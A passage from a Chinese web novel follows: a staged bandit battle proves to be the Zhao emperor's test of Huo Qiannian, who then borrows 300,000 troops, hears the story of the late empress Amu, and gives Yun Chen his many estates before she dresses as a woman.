趁着夜色掩护,乍一看去,乌泱全是人。
大星山见此,以为被声东击西,赶忙集结主力人马,于后方水面射箭交战。
谁料草船主防弱攻,一支支利箭扎在船头的草包盾牌上,宛如扎进棉花,根本奈何不了船上的人。
见大星山的土匪吃瘪,小星山的一艘船上,小胡子跳上草包盾牌,仰天大笑,高声叫骂:
“哈哈哈哈——想不到我们有这手吧!吃瘪了吧!难受了吧!丢人了吧!哈哈哈哈——”
正得瑟间,一支长箭“嗖”地飞来,差点扎中小胡子的脚,吓得他一屁股摔下去。
寨子上面,数排弓箭手之间,站着大星山的土匪首领,摸着一脸络腮大胡子,骂道:
“你奶奶的!吃老子一箭就舒服了吧?!”
小胡子拍拍屁股跳起来,继续叫骂:“去你奶奶的!有本事下来说话!”
“你他奶奶的别乱骂!再骂我问候你祖宗十八代!”
“我先问候你祖宗十八代!”
大胡子和小胡子一人在高寨,一人在低水,箭雨纷飞之间,指着对方鼻子叫骂不休,把对方祖宗十八代全部问候了一遍。
另一边,霍乾念率领真正四百小星山主力侧翼来袭,以百艘小船平板相连,船面平阔立马,如巨龟浮水,迅猛推进靠岸,直接将岸上的土匪们杀了个措手不及。
三百人策马跃下船面,一路高喝猛进,直捣土匪寨中心老巢。
另一百人一边在四处清扫俘虏,一边搜寻到寨中粮草库,直接一把火点了个干干净净。
很快,整个大星山寨子火光冲天,人马嘶鸣,到处乱成一团。
霍乾念四处寻找云琛的身影,却只在一处水岛上看见空空的铁笼。
“云琛——云琛——”
霍乾念勒马奔走,不停呼喊着。
可找了一大圈,一点云琛的影子都没有。
纵然已在山寂一个手势的暗示下,猜到这局面的真相,知道云琛不会有什么性命危险,但霍乾念还是着急得很。
这时,一个小土匪扛着从大星山粮草库里搜刮出来的一头肥羊,对霍乾念道: “军师!寨子到处都烧得差不多了!你不是说得立即撤退了吗?走不走?”
再看一眼四周,确定没有云琛的身影,霍乾念调转马头,大喝:
“走!”
于是,当后寨上忙着拉弓射箭的大胡子,终于发现中了计中计,赶忙折回寨子的时候,整个寨子已被洗劫一空,焚烧尽毁。
小星山的土匪们满载着属于大星山的粮草,往水路逃走。
大胡子大惊失色,急问:
“主路的火油桶灭了没?路通了没有??”
“通了!!”
“速速追敌!”
伴着大胡子一声令下,残余土匪们立刻跨过火油桶,沿岸上追击。
眼见霍乾念与小星山的土匪就在前方不远处,大胡子高声道:
“都他娘的机灵点!别丢人!冲啊——”
大星山的土匪们被鼓舞得士气大涨,奔腾嘶吼着,却越跑越不对劲。
脚下的道路越来越宽阔,不是平时进出寨子的主路,竟被霍乾念等人引到了一处陌生空地。
正当大胡子预感不妙时,不远处已弃船上岸、改乘快马的霍乾念等人,突然调转马头,往回杀来。
大胡子顿知又中计,立马勒马要逃,却见后方不知何时,小胡子已带人追了上来,与霍乾念等一前一后,将大胡子等包围得严严实实。
大胡子心里有点慌,但仗着自己人多,还是得意道:
“你们小星山的计谋不错,确实把我们主力都拖在寨子里了。但我这还有一千多人,你们五百个人,我看你们怎么打!”
小胡子“嘿嘿”一笑,“别逞能了,屁股撅起来等着挨揍吧!这巴掌是老天爷赏你的!”
话音落下,前方的霍乾念已彻底逼近。
只见他高扬隐月剑,策马冲在最前,雄姿英发,气势磅礴。
与他一同奔来的,是同样勇猛策马的小星山土匪们,还有漫天缓缓靠近的黑压压的夜云,以及横扫人马的北杀疾风。
双星伴月,云向东,刮阵风。
这遮天蔽月有如神助的气势,谁人看了不惧。
就连大胡子都忍不住赞道:“真是帅炸了!”
眨眼间,猛烈的东北风席卷大胡子等土匪。
这怪风来得急,来得猛,几乎刮得人睁不开眼。
一时间,到处飞沙走石,风号如鬼哭。
狂风打得大胡子等措手不及,马匹惊叫逃窜,马上的人只能一手稳马,一手去遮挡眼睛。
算定天象风力的霍乾念等人则早有准备,立刻掏出薄纱蒙面,保证视野清晰,顷刻便将毫无还手之力的大星山土匪们打得纷纷落马。 唯剩大胡子还在全力抵抗,和霍乾念交手在一起。
就在众人顶着狂风打作一团时,突然,旁边林子窜出一道脏兮兮的身影,如猴子般轻巧地跳上马头,一把勒住大胡子的脖子。
云琛锁死胳膊,狠狠绞住大胡子,勒着他摔下马,然后扬起手中鼍龙指虎,就要往他脖子上扎。
吓得大胡子两脚狂蹬,都被勒得直翻白眼了,还是硬从嗓子眼里死命挤出几个字:
“兄弟……别杀……自……自己人……”
可惜风太大,云琛根本听不见,即将戳下指虎之时,幸而霍乾念大喊一声“琛儿住手!”才叫她下意识松了胳膊。
黎明破晓,这股又急又凶的怪风终于渐渐停息。
当最后一缕风从大胡子脸上划过去,毫不留情地带走了大胡子的“胡子”时,一张年轻又有点熟悉的脸,终于真实地展露在云琛眼前。
“大哥,你胡子掉了。”云琛提醒。
她总觉得在哪里见过这男人,寻求答案似的看向一旁跳下马冲过来扶她的霍乾念。
再看四周一片狼藉,大星山的土匪们躺了一地,那个后脑勺还裹着绷带的少年对天哀嚎:
“俺娘咧……终于结束了……差点没上战场,先累死在演习里……”
少年累得上气不接下气,颤抖着手伸向云琛,自言自语叹道:
“俺就知道……给云老虎转移到林子里关着么有用,他照样能逃出来……被俺说中了吧……”
云琛脑子有点懵,搞不清眼前是什么状况,任由霍乾念不管不顾,当着所有人的面半拥住她。
“阿念,这什么情况?”
霍乾念连多看一眼快被勒死的大胡子的功夫都没有,只目光缱绻,心疼地捧起云琛脏兮兮的脸:
“琛儿,你受苦了。”
第194章 昭国皇帝
霍乾念和云琛,“两个大男人”旁若无人地你侬我侬,完全不顾云琛胳膊底下还锁着快断气的大胡子。
小胡子见状,赶忙小跑过来,摘掉两片小胡子,一边帮大胡子挣脱,一边指着自己的脸对云琛道:
“兄弟,记得我不?是我!荣易!”
云琛一脸茫然。
荣易只能一巴掌拍在自己脑门上,又拍拍屁股,笑道:
“固英城外的林子里,猎户,我骑马带着你——想起来了没?”
怔了一瞬,回忆闪现,云琛立刻瞪大眼睛。
怎么可能不记得?!
她当时重伤趴在马背上,被一个混小子骑马带着,一会把她头磕在树上,一会把她屁股撞得生疼。
为了拖住当时紧追不舍的黑鳞骑兵,那混小子直接把缰绳塞给重伤还不清醒的她。
这大奇葩事和恩情,云琛一辈子都不会忘!
“原来是你们!怎么是你们?!”云琛松开勒着大胡子——荣江的手。
荣江趴在地上,咳嗽了半天才能顺畅呼吸,惹得荣易哈哈大笑,乐得直拍大腿。
云琛完全不明白眼前什么情况,霍乾念道:
“不急,一会儿我慢慢解释给你听。”
说罢,霍乾念拉着云琛,穿过躺了一地的大星山小星山的“土匪们”,冲着不远处林子的方向,高声叩拜:
“臣楠国巡司大都督霍乾念,特奉东宫君之命,特来拜见皇上。祝皇上福寿齐天,万岁康健!”
云琛不明真相,但老老实实跟着霍乾念拜下去。
林子里继而响起一阵骚动,紧接着,数百带刀侍卫涌出林子,森严列阵。
一个清癯的老者——大星山的军师从中走出来,笑眯眯地看着霍乾念。
那老者的身旁,是已毫不掩饰一身锐气、同样穿着军师官服的知罗。
她的肩膀上,正是那只以“美色”诱惑云琛的纯黑色雪貂,神气活现地站立着,机灵地歪着小脑袋。
一见这阵仗,所有“土匪们”立刻从地上翻身爬起,恭敬叩头,高声行礼“拜见皇上”。
到这里,云琛终于明白了。
原来从始至终不过一盘棋。
幸而,昭国与霍乾念执着同样颜色的子,是友非敌。
故而,当固英城外的三国边境之地,有不明军队异动时,昭国皇帝第一时间派荣江荣易前去侦察,刚好救下了被黑鳞骑兵袭击重伤的霍乾念等人。
也正是从那时开始,昭国皇帝旁观楠国战局,料定南璃君会来借兵。
这场从偶遇琵琶娘子、英雄救美、**云琛,到逼霍乾念筹谋进攻大星山的大戏,从头到尾不过是考验之局。
全为试探霍乾念本事几两,有没有能力和资格借兵、治军、用兵而已。
毕竟将要从昭国借出去的,不是简简单单一个“兵”字而已,而是一条条鲜活的人命,一颗颗效忠的心。
昭国皇帝惜兵爱将,只有试探并确信霍乾念是可托付之人,才能放心借兵。
皇帝像一只护着子子孙孙、快要成仙的老狐狸一样狡黠、洞察。
可他冲着云琛笑起来的时候,又不带任何威胁震慑,笑容十分和蔼。
云琛注意到,皇帝的眼珠是绿色的,像是有外邦血统的样子。
不知道昭国皇帝为什么冲她笑,云琛只能不好意思地也用笑容还礼。
皇帝却像是发现了什么可爱有趣的事物似的,“哈哈”仰头大笑,而后示意众人起身,又对四周陪着“演习”了半个月的众将士道:
“诸位爱卿辛苦,此功可赏。”
众将士都高兴起来,刚要叩谢,皇帝却又道:
“朕就不赏了,就由你们今后的领将——霍将军赏吧!”
像是早就知道这个结果,众将士纷纷喜笑颜开,兴奋起来:
“太好了!背井离乡二十多年!我终于可以回去看我太奶了!”
“我爹可以回家乡了!我还一次没去过楠国呢!”
“俺也是!俺光听说过楠国!没见过呢!”
气氛热闹愉快,所有人都带着笑容,就连霍乾念脸上也是感激的神色。
只有云琛被关了七八天,脸上还是脏兮兮黑乎乎的,人还有点茫然无法回神。
知罗步履轻盈上前,对着霍乾念行礼:
“见过将军。先前多有得罪和欺瞒,实在不得已,请将军见谅。”
霍乾念并不在意,“无妨。如果我没猜错,这一场筹谋考验,不只出自皇上,还有不少军师手笔吧?”
“是皇上不嫌弃,许下官小小女子在军中妄自称师。”知罗不好意思地笑笑:
“下官只能全力布局,但还是难抵将军运筹帷幄,列阵奇袭,计谋绝佳,更借天象成事,方能破此以寡胜多的绝境局。下官钦佩不已。”
皇帝也笑道:“大星山之战,足见霍将军大谋大略,用兵出战之雄才。”
“皇上过誉,是将士们勇猛善战
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,可堪百战。”
“哈哈,这群小子不错,没丢人。”
霍乾念与皇帝相聊甚欢,随后又与知罗进行了官方友好的上下级交流。
而后,知罗转向云琛,面上褪去客套,变得柔和羞怯,道:
“云公子,我买到琵琶了,我没有骗你。”
云琛笑笑,“没关系,军师使命所在,就是骗我也不为过。”
知罗温柔而笑,不再多言,肩膀上却探出一颗毛茸茸的小黑脑袋。
雪貂从知罗怀里摸出山隐月的腰牌,动作轻盈地跳上云琛肩膀,伸出灵活的小爪子,将腰牌又塞回云琛怀里。
云琛趁机抓住雪貂,一顿好生揉搓带猛吸,感叹道:
“原来当时是你这小家伙趁乱摸我腰牌,厉害厉害。”
知罗歉意道:“实在得罪云公子,这是我养的貂儿,叫‘墨墨’。”
云琛爱不释手地捧着墨墨,“小家伙真伶俐,是随了主人的缘故吧!”
知罗低头浅笑,脸上飞起两团粉红。
至此,借兵之事算是圆满功成。
对在场的每个人来说,都将奔赴一个更为光明灿烂的未来。
见皇帝还在与霍乾念说话,并不约束礼节,将士们有说有笑地三两聚在一起。
那说方言的少年和几个将士一起跑过来,勾住云琛肩膀,笑道:
“哥,你啥官职?俺想跟着你,你功夫太俊了!俺叫罗东东!”
“我也要跟‘云老虎’!”
“嘿嘿,我瞧云老虎手上的茧,应当平日里使剑的吧,这几日没剑都折腾得我们够呛,要是有剑在手,那还得了?”
“好家伙!我想看看!”
云琛被几人围着,说得热闹。
突然之间,这么多人从“土匪仇敌”变成“兄弟”,她也被感染得兴奋。
另一边,霍乾念与皇帝寒暄得差不多了,有点迫不及待地问道:
“皇上,您已洞悉楠国战局形势,各方都被牵制,节节败退,实在不容乐观。敢问陛下愿借兵多少?”
南璃君说过,若有诚意,昭国也许愿借十万兵力;若没诚意,借个两三万都成。
既然是借,霍乾念不好提要求,只能心里盼望着昭国皇帝大方些,千万别表面上装作喜气洋洋,实则一毛不拔。
谁知昭国皇帝笑眯眯抬起手,比了个兰花指,说出了一个绝对出乎霍乾念意料之外的数字:
“愿借——三十万玄甲军后裔。”
第195章 接盘侠
老话说,半大小子,吃穷老子。
一家如果有五六个正当年少的小子,那吃饭基本和打架没区别。
任何菜上了桌,一眨眼就见底。
从前在霍帮时,云琛和几个亲卫吃饭时,就如野兽争食一般。
那如果是一百万个等着建功立业的好小子,又要吃要喝要穿,要舞刀弄枪,动不动还打架**呢?你说可怕不可怕。
昭国百万强兵守卫国门,全国盛行习武从军之风,致使十几年来无他国敢来进犯。
但背后付出的代价也是巨大的。
昭国每年的财政支出中,军费占九成。
一百万汉子扛着刀枪,就算啥也不干,光坐那吃饭,三天就能吃垮一个洲。
更不要说置办军服、购置兵器、采买肉菜粮草、消耗医治药材……
件件要花钱,处处砸进去真金白银,却连个响都听不到。
军费如流水一般花出去,到处驻军地还是不停哭穷,有些地方的驻军甚至连像样的军服都没有。
就拿荣江和荣易两兄弟来说吧,霍乾念本以为他们是为了配合“演习”,才特意找来破破烂烂的衣服穿,打扮成土匪的样子。
谁知那俩从头到脚一根线都没换,身上穿的正是洗了二百多遍、一件传三代的“军服”。
另外几千将士也一样,都是直接原模原样从驻军地拉过来的。
校场大点兵的那日,霍乾念望着底下黑压压看不到尽头——
一个比一个穿得还破、一个比一个还斗志昂扬的小子们。
他额头上青筋直跳,颇有一种当了接盘侠,被昭国皇帝狠狠算计了一把的感觉。
他就说,昭国皇帝怎么会那么好心说借兵就借兵,还一借就是三十万大军,敢情是已经快养不起了。
再打开在大星山“演习”结束时,皇帝许诺的“霍将军会封赏”的名册账目,霍乾念不禁倒吸一口凉气。
第一笔犒赏:三千万两白银。
皇帝说,新官上任最宜收买人心,既要犒赏,就不能只犒赏参加演习的将士们,必须全军犒赏。
将士们拿着犒赏银子,才能将家**儿安置妥当,没有后顾之忧。
三十万玄甲军后裔,几乎全部是当年昭国独立成国时,皇后娘娘托付的初代玄甲军的后代,骁勇善战,忠勇念旧,都十分希望能回到真正的楠国故乡。
就是念着这份远离故土的情谊,也不能薄待将士们。
霍乾念说“好好好”,于是,第二份安置军服、武器、车马、粮草的账目出现在他眼前。
第二笔军费开支:九千七百万两白银。
一步都还没踏出昭国。
一场仗都还没打。
就先干出去一个多亿的银子……
饶是霍乾念这个楠国首富,差点都有些不认识个十百千万了。
他在南璃君身侧多年,楠国国库里有几个铜板他都门儿清。
这军费十有**要霍帮自掏腰包。
霍乾念脸都黑了,忍不住对一旁呈上账目的法算官道:
“九千七百万,怎么不再加三百万,干脆凑个整呢……”
法算官没听出霍乾念话语里的揶揄,认真回道:
“将军,三十万将士衣、食、住、行、月饷、军备、驻场训练……下官连真账都没做明白呢,暂时做不了假账……”
一旁的知罗忍俊不禁:“将军不必忧心,这些不过霍氏几个堂口半年利而已。”
这时,刚和荣江荣易比完射箭,又和罗东东摔完跤的云琛跑进来,兴冲冲对霍乾念道:
“少主,我刚答应了晚上请他们吃羊肉锅子!买羊肉走吧!”
霍乾念应声:“好,叫采办去买——几个人吃?”
云琛用手比画了个大圈,理所当然地回答:
“全体将士——所有人呗!”
霍乾念表情僵在脸上,生生咽下一口老血。
旁边的法算官却一拍巴掌,高兴道:
“全军吃一顿羊肉锅子,
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大约一万只羊,五千车萝卜、玉米、菜叶子、饼馍……正好三百万两!”
云琛惊叹地“哇”了一声,“厉害了,请一顿饭三百万两,不过没事,我家少主不是小气的人!”
霍乾念强颜欢笑,默默捏断了手里的笔杆。
……
……
话说借兵之事既然已谈妥,一干签订文书等事务随之而来。
霍乾念和云琛随皇帝御驾进入国都天狼城。
前者忙着按昭国朝规办理借兵手续,一天光是文书都得签八百份,忙的晕头转向;
后者则闲得无聊,得皇帝首肯后,满皇宫溜达参观,当起了逍遥游客。
与楠国皇宫威严肃穆的风格不同,昭国皇宫以洁净的清水色为主,辅以挑红和彩金点缀,多以鲜花团簇装饰。
云琛闲逛起来,颇有种逛大花园的感觉。
因此,当一座风格截然不同的殿宇出现在眼前时,一下子就吸引了她的注意。
那殿宇是她从未见过的风格规制,白玉阶,乌蓝顶,飞檐飘逸,形状如神。
且与皇宫惯有的龙凤浮雕不同,这座殿宇的墙壁上刻画着一只巨大的剑齿神虎。
虎爪壮硕,身形巨阔,姿态微伏待冲,仿佛要托着这座殿宇飞天而去似的。
整座殿宇气势磅礴,庄重不失秀逸,却又难掩逼人英利,令云琛不觉看呆,身上起了一层鸡皮疙瘩。
“这是供奉阿沐的神殿,要进去看看吗?
昭国皇帝的声音突然响起,唤回已几近出神的云琛。
阿沐。
云琛如今已知道,这是楠国先皇后的闺名。
她从东炎皇帝的口中听到过,也从楠国大行皇帝的临终之言中反复听过。
如今,昭国皇帝再提起,云琛一点都不意外。
“我们进去瞧瞧吧,反正霍都督忙着签文书呢,一时半会不得空——走吧——”
与其他人提起先皇后时颇为沉痛不同,昭国皇帝竟十分语调轻松。
第196章 她的铠甲
昭国皇帝乐呵呵的,一点架子都没有,自来熟地与云琛并肩,走向大殿。
随着殿门缓缓开启,耀眼如火海的香烛后,人形支撑的金缕架上,一副银光闪闪的绝世铠甲出现在尽头。
那铠甲羽冠插凤翎,两臂饰着狰狞饕餮纹。肩片鎏银为底,朱砂勾边,十字咬合。胸前双圆护如日月并耀,腰腹狻猊怒目似吐海吞天,两靴更焊满炸珠龙鳞爪,看着十分威武霸气。
铠甲通体银光似雪,烛火映照其上,好似甲光向日,竟有金鳞流动之美。
高贵,睥睨。
嚣张,美极,不可一世。
这世间恐怕找不到可以形容这副铠甲的词语,云琛浑身一阵激麻,震撼得嘴巴都合不拢。
“这是阿沐从前的宝银铠甲,是她做大将军时,前朝皇帝赐给她的。”皇帝说着打量云琛,笑道:
“你身量倒是与阿沐接近,估计穿上正好。”
“不敢当不敢当……”云琛连连摆手,眼神却近乎痴迷地望着铠甲,想象着先皇后穿上它的样子。
可惜她没见过本尊,想象不出来。
她忍不住问:“先皇后——”
她刚起了开头三个字,皇帝便笑着打断:
“你可以叫她‘阿沐’,不必用那‘皇后’虚名。在阿沐眼里,这世界没有所谓尊卑,众生自由,人人平等。”
云琛第一次听到这么新奇的说法,尤其还是从一个皇权执掌者的口中。
她点点头,继续问:
“皇上,阿沐到底是怎么样的人呢?虽然前朝已经很遥远,可我不论到哪里,都能听见关于‘阿沐’的往事,我总有种错觉,好像她还活着。”
皇帝笑了,“不是她还活着。是我们都生活在她所缔造的世界、她遗留了辉煌的时代。”
皇帝仰头望向铠甲,和蔼的面庞慢慢变得严肃,碧绿的眼眸浮现出犀利的光芒:
“她是前朝皇室的最后血脉,流落民间十几年,于隐世险峻之地**得绝世武功,练就一身通天好本事。被前朝皇室寻回之后,她女扮男装入朝为将,骑神虎,统九军,后以‘天狼星’得封太子之位,叱咤风云,权倾朝野。
因为有她在,前朝才得以迎来盛世巅峰。她文能治国,武能定邦。爱民如子,惜兵爱将,已到人人都甘愿为她赴死的地步。那时候,人们对她的崇拜和拥戴,简直难以想象。”
皇帝说着话锋一转,思绪像是回到某些珍贵又温暖的有趣回忆,笑道:
“除了脾气不太好,爱喝酒,喝多了就揍人,说实话,我想不到她有什么缺点,哈哈……”
云琛听得如痴如醉,“后来呢?”
“后来?”皇帝收起脸上的笑容,用玩笑又带点戏谑的语调冷冷道:
“后来,她就**呗。”
云琛听说过,阿沐死过两次,第一次被万箭穿心诛杀于京都长街。
诈死脱身后做了楠国皇后,第二次则是在南璃君三岁时突然离宫,死在了香消崖。
“我听说过,阿沐最后病死在了香消崖。”
“病死?”这两个字像突然戳到皇帝痛处,他神情一瞬间发恨,冷笑道:
“她从来不是病死的。她是被人一刀又一刀活活刮死!被这世上欲望众蛆活生生吸干血肉害死的!”
皇帝说着激动起来,声音拔高,用一种极其凌厉的眼神怒视着云琛:
“是被她的挚爱背叛!失去王座和江山!硬生生撕碎灵魂!这些凶恶的刽子手里,有你们那个**的楠国皇帝!还有你师父江鸣!”
最后一句话,再加上皇帝突如其来的疾言厉色,直接让云琛整个人愣住。
她突然想起来,江鸣确实有个了不起的江湖称号:
剑杀天狼。
原来是江鸣杀了……他毕生仰慕却未能亲近的爱人?
是楠国皇帝亲手杀了伉俪情深的妻子?
她震惊在原地,脑子里一团乱麻。
她既接受不了上一代的故事里,阿沐最后死得那么惨烈,又迷茫于为什么杀她者全是爱她者?
她不懂这世道人心,只是忽有巨大的悲伤袭上心头。
她觉得阿沐好可怜。
皇帝显然从云琛那双黑白分明的大眼睛里,将那疼惜的情绪看得分明。
这令他怒火一下平息许多。
他揉揉眉心,重新露出和蔼的面容,有些歉意地笑笑:
“罢了,都已经过去了。你说说,我冲你发什么脾气呢,你一点都不像江鸣。再说,你是江鸣唯一的徒儿,他纵使对阿沐有愧,教你各种绝招杀招,意图要你去为南璃君搏杀,但最后到底舍不得你送死。他亲自去为阿沐的女儿拼命,也算
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稍稍补过,省得我送他一程了。”
云琛附和地点头,长长叹口气,仍旧陷在难过的情绪中出不来。
她一会儿为阿沐心痛,一会儿又觉得自己师父可怜。
一会儿想起楠国皇帝临终前的样子,一会儿又望着这座日日精心供奉的大殿,明明白白地知道,眼前的昭国皇帝,他内心之挚友情愫,不比这世上任何人少。
她心里说不上的发堵,难受,好半天才反应过来皇帝最后的那句话,不禁惊问:
“皇上,听您想说的话,啥叫‘送他一程’?您找人杀过我师父吗?该不会就是您雇佣无义血卫追杀我师父吧?”
皇帝“嘿嘿”贼笑,“猜对了。每次他一离开香消崖,我就雇人去‘送他一程’,但总是不成功。我便雇了一回无义血卫去,结果还是不行,被你师徒俩全杀了。”
她倒吸一口凉气,接着又疑惑:
“欸,不对呀,无义血卫不是‘杀不死目标’就杀死雇主吗?您怎么敢雇的……”
“你当我傻么,朕难道还亲自跟无义血卫面对面交易?我找个死囚代替下令不就得了。”
“……额……无义血卫这规则漏洞,算是让您卡得明明白白……”
“哈哈……别扯这些没用的。你瞧那宝银铠甲好看不,想不想要?”
“不敢不敢,我可不配!”
“怎么不配?江鸣能‘剑杀天狼’,你是他徒弟,四舍五入也算你能杀。你的功夫应该撑得起这铠甲。”
“皇上……咱能不说这么地狱的笑话吗……”
“哈哈哈哈……那你快穿,别磨叽了。”
“皇上,那个……我是男人,穿不了这女式铠甲……”
“还装?我认识你师父几十年,会不知道你是男是女?在你不知道的时候,那香消崖我去了几十次,那后山的路都快被我盘包浆了好吗?”
“……”
“放心,我嘴严。再说了,我是皇帝,没机会坐墙根底下和别人嗑瓜子聊八卦的。”
最后在昭国皇帝的坚持下,云琛最终接受了铠甲。
她深觉受之有愧,捧着铠甲只有重若千斤之感。
但皇帝却深深望着她,说:
“去吧,别让宝银蒙灰,就让她的风姿再于世间张扬一二。你若感到负担,就努力承她意志吧。”
第197章 有钱人真奢侈
结束借兵的所有事务后,因三十万大军整装出发还要几日。
趁这功夫,霍乾念带云琛离开天狼城,来到百里外一处名叫扶摇城的地方。
扶摇城地处偏南,气候景色与楠国烟城颇为相似,都是烟雨蒙蒙、小桥流水的滋养美人的地方。
二人来到城东最繁华地段。
穿过热闹的集市,林立的商铺,走过两条小街,转过一道高高的石楼门,眼前景色豁然开朗——
一片郁郁葱葱的青山矮坡上,是如瀑布蔓延的团团簇簇的山茶花。
粉与白交错,红与紫交织,如一条温柔又盛大的花龙,环绕着整片草地。
一座造型古朴但一看就价值不菲的宅院伫立其中。
云琛疑问:“这宅子看起来很贵,但怎么连个正门府门都没有?”
霍乾念笑得神秘,“方才已经过府门,是你没瞧见。”
反应了一会儿,云琛想起那座高高的石楼门。
她一溜烟跑回去,看了一眼,又一溜烟跑回来,吃惊道:
“少主,那楼门上写着‘云府’!”
她张开怀抱比画,孩子气的动作配合吃惊的小脸,透出一股纯真稚气,“在城中心这——么大一片山坡,屋子,花草树木,全都是云府的?”
霍乾念笑意盈盈,“还有宅子里的亭台楼阁,后花园的池塘和湖苑,都是云府的——你的。”
霍乾念牵着云琛的手走进“云府”宅院。
一处处看过去,一道道门槛走进去。
四处都是熟悉的“霍氏”风格,低调而奢华,内敛又高贵。
少见金银玉,多用竹与木。但随便一截子竹筒,都比等价的白银要贵。
走到内宅与外宅的交界处——中堂的时候,他停下来,将一个雕刻精致繁复的小铜箱子给她。
他说,“不只这里,从楠国到昭国,从东炎到番邦,那些从前只属于我个人的私宅别院,今后都是你的。一共六千七百七十二座,这是所有地契和看院仆从的身契。”
“多多多少?六六六千??你有六千多套房子??”
她随便在铜箱子里翻看几张。
别人家都是一座宅院一张地契,霍乾念这明显地契太多,不便随身携带,直接列的屋宅清单,注明宅子的地址、方位、地皮价钱和看宅人数,叫她越看越控制不住地张大嘴,下巴都快掉在地上。
“为什么突然给我这些?”她没工夫细算这些值多少钱,粗略估计,可以请那三十万玄甲军后裔军吃两年火锅。
但这还只是属于霍乾念的私宅,和霍帮遍布各国的商铺、堂口、金库钱庄等比起来,充其量只占万千分之一。
云琛第一次对“楠国首富”有了实体的概念。
“不突然,我计划很久了。”霍乾念深深看着云琛的眼睛,脸上有柔软的笑意,更有一种特别坚定的东西在里面。
她看得分明,有些被他的爱意紧紧裹住,心头满得快溢出来,将要承受不下的感觉。
她扬扬手里的小箱子,故作轻松玩笑:
“给了就不能反悔了哦,你哭都没用,我不会还的。”
他宠溺地笑笑,摸摸她的头,而后拉着她在中堂高座坐下。
刚一坐定,便有宅子里的仆从前来上茶,说了句“主子稍坐”,便忙小碎步跑出去。
云琛这时想起来一个很重要的问题,“六千七百七十二座别院,你都住过?不可能吧,一天住一间也得住二十年,这还不算跨城行路的时间……”
“基本没住过。”霍乾念道:“在地方上查堂口事务的时候,偶尔住过一两处,很多都是路过时觉得位置不错,风景甚美,又地价保值,便买了。剩下大部分都是霍氏祖祖辈辈传下来的。”
她咋舌:“那岂不是每座宅子里都养着许多看家护院的家仆,有些人一辈子都没见过你,却在那宅子里住一辈子,需要你发一辈子的月钱?”
他不太明白她何以此问,但还是道:
“自然。守宅的院卫,伺候的仆从,洒扫的下人,焚香的香师,厨房的厨子……每座宅子里都备着十几个人。”
云琛咋舌,不停感叹“有钱人就是奢侈”。
不知道是不是因为这些私宅突然成了她的,她下意识有点肉痛,觉得那实实在在是浪费好大一笔银子。
但感叹归感叹,她才不会将人遣散断人财路。
能一辈子住着豪宅还不用伺候主子,这样好的差事,她下辈子也想找一份。
她脑子正开小差的时候,仆从前来禀告说“都准备好了”。
在霍乾念示意可以开始后,十二个姿容风情不同、衣着华丽的琵琶娘子,如香风云雾般团团飘进中堂,一字排开在霍乾念和云琛面前。
个个身量纤纤,眉眼含情。每个人都是截然不同的发饰、妆面、衣裙,但都抱着同样成
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色昂贵的琵琶。
像是乱花渐欲迷人眼之中,又透着一种相得益彰的清流。
琵琶娘子们坐定堂中,一个娘子起头拨动琴弦,另外十一个人立即弹琴跟上,开始吟唱。
十二道美丽的声音交织绕梁,听得云琛如痴如醉,心叹天上宫阙也不过此情此景吧。
她看得专注,眼睛不够用,耳朵也不够用,并未注意到霍乾念从头到尾都没怎么看那些琵琶娘子,只在看她的表情。
注意到她十分喜欢其中那个身穿碧水银绣湖蓝色襦裙的琵琶娘子,霍乾念对一旁的仆从点头示意,那仆从立刻会意退下。
不等琵琶娘子唱完,已有五六个捧着裙子、妆面、发饰、首饰的妈子从旁等候。
琵琶娘**唱了快半个时辰才离去,若不是云琛实在舍不得娘子们那么费嗓子,她还想再听上一会儿。
“少主,你说,这世间如果没有女子,该多么荒芜无趣呀!”
霍乾念想了想,点头认同:
“若这世上全是男子,结果大概是日日硝烟征战,不得安宁。这男子与女子,哪个也少不得。”
说话间,几个妈子捧来衣裙,又捧来一套男子衣袍。
霍乾念道:“我想带你在城中走走,想穿哪套,扮作男子还是女子,都由你定。”
说罢,他旁若无人地在她额头落下一吻,说了句“我在外面等你”才离去。
叫旁边几个妈子看得直捂嘴偷笑。
云琛拿脚踢踢他,嗔了句“去你的!”心里却已乐开了花。
看着眼前一男一女两套衣服,都是清爽利落的碧水湖蓝色,都绣着她喜欢的银绣山茶花的图样。
她突然意识到,从被迫女扮男装,到习惯并喜欢不受世俗约束、更为利索方便的男子装束,她已十几年没有穿过裙子,几乎快忘了怎么做个女子。
偶尔的,她也会羡慕那些穿着罗裙娇娇俏俏的女孩子们。
比如菘蓝,无论什么时候见到她,她都是一身昂贵华丽的锦裙在身,妆容精致,满头装点着宝石钗环。
尤其菘蓝有很多不同款式的耳环,云琛几乎没见过她戴重样的,十分羡慕。
云琛从一个妈子捧着的首饰盘里拿起耳环,是一副雪银湖绿宝石的短坠。
霍乾念很细心,知道她没有耳洞,特意选的耳夹。
“您试试吧,穿戴上一定很好看。”一个妈子这样说。
第198章 年轻人就是会玩
霍乾念喜欢所有的云琛,坦荡爽利的,无所畏惧的,简单干净的,执着又傻气的,装作大大咧咧男子模样的,时常透露出一些令人心动的小女儿神态的。
什么样的云琛,他都喜欢。
唯独不喜欢那个偶尔会用一种羡慕的眼神看着菘蓝,再有点自卑地看向她自己的云琛。
这世道不公,压抑着每个女子的才华。
唯独允许她们展露短暂又明媚的花期。
偏偏她不能,只能站在一旁偷偷羡慕。
他对这些瞧得清清楚楚,心疼得紧,怎舍得他的琛儿这样可怜。
他想过很多次,若她穿起衣裙,装扮上钗环,会是什么模样。
若那衣带飘飘,坠在青草上,那裙摆长长,扫过一地落梅,该有多美。
那长发当如风起,拂得衣裙飘飘入云。
虽未见过云琛女子模样,他却已在心里熟悉了千万次。
可当云琛真的穿着那身湖蓝的衣裙——
头戴垂月钗,耳坠宝石环,腰间佩着纤细不堪一扯的绦带,腕间系着镶嵌粉白山茶银花的玉镯,那样低头浅笑,粉面含羞地走出来时。
霍乾念才知自己竟是这天底下最浅薄的人,枉读了那么多诗书,见过那么多世面,竟然想象不出云琛十分之一的灿然风姿。
她站定在他面前,不太好意思抬头。
应她的要求,妈子没给她上重粉重胭脂,只是略施粉黛,描了描眉,勾了抹微微上挑的眼睫,点了樱桃口脂。
云琛便从俊俏的“奶白小生”,变成了楚楚动人的花容月貌。
瞧着那轻轻上挑的眼尾,霍乾念只觉心神已俱被勾走。
“还给我。”他微微俯身,靠近她,一寸一寸细细地看,直勾勾地看,怎么都看不够。
她抬起水灵灵的双眼,不太明白地含羞看他,“什么呀?”
“将我的魂还给我。”他凑近她耳边,声音低沉又撩拨,“都被你勾走了,我还怎么活?”
